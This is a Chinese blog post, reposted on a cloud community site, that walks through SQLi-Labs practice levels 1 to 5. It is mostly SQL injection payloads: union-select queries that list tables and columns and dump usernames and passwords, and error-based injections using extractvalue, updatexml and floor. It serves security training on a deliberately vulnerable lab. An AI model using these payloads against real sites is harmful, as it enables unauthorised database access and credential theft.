sql-lab 1~5

举报
开心星人 发表于 2022/06/29 22:26:22 2022/06/29
【摘要】 1 ?id=1 ?id=1' ?id=1'--+ ?id=1' order by 1--+ ?id=1' order by 4--+ 所以有三个字段 ?id=1' union selec...

1

?id=1
在这里插入图片描述

?id=1'
在这里插入图片描述

?id=1'--+
在这里插入图片描述
?id=1' order by 1--+
在这里插入图片描述
?id=1' order by 4--+
在这里插入图片描述
所以有三个字段

?id=1' union select 1,2,3--+
在这里插入图片描述
因为web页面只能显示一行数据

?id=-1' union select 1,2,3--+
将让第一行数据显示不出来
或者
?id=1' union select 1,2,3 limit 1,1--+
在这里插入图片描述
可以看到有回显的字段2和字段3

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
查表名
在这里插入图片描述
看users表吧

?id=-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
查users表中的列名
如果过滤了等号= ,可以用like 替换
在这里插入图片描述

-1 ' union select 1,group_concat(username),group_concat(password) from users --+
在这里插入图片描述

2

?id=1'
在这里插入图片描述
?id=1'--+
在这里插入图片描述
?id=1 and 1=1
在这里插入图片描述
?id=1 and 1=2
在这里插入图片描述
所以是数字型注入

然后和上一题操作基本一致,去掉一个单引号即可
-1 union select 1,2,group_concat(0x7e,username,0x7c,password) from users
在这里插入图片描述

3

在这里插入图片描述加了单引号之后还用括号括了起来
?id=-1') union select 1,2,3%23
在这里插入图片描述

4

在这里插入图片描述

?id=-1") union select 1,2,3%23
在这里插入图片描述

这几种是比较经典的

')
‘))
"
")
"))

5

?id=1
在这里插入图片描述
回显的那两个字段不见了

这一题没有回显 但是有报错,我们就需要构造特殊的语句,将数据显示在报错里,来读取数据

MySQL一共有十种报错注入

常用的三种
extractvalue
extractvalue(1,concat(0x7e,(select @@version),0x7e)) 

updatexml 
updatexml(1,concat(0x7e,(select @@version),0x7e),1) 

floor

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

前两个是通过xpath语法报错,带出信息

?id=1' union select 1,2,3 or extractvalue(1,concat(0x7e,(select database()),0x7e));--+
在这里插入图片描述

?id=1' union select 1,2,3 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e));--+

?id=1' union select 1,2,3 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1);--+

用这两种不知道为啥没带出来

用floor试试
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;--+
在这里插入图片描述

?id=1' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;--+
在这里插入图片描述
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;--+

在这里插入图片描述

文章来源: blog.csdn.net,作者:开心星人,版权归原作者所有,如需转载,请联系作者。

原文链接:blog.csdn.net/qq_55675216/article/details/124729330

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。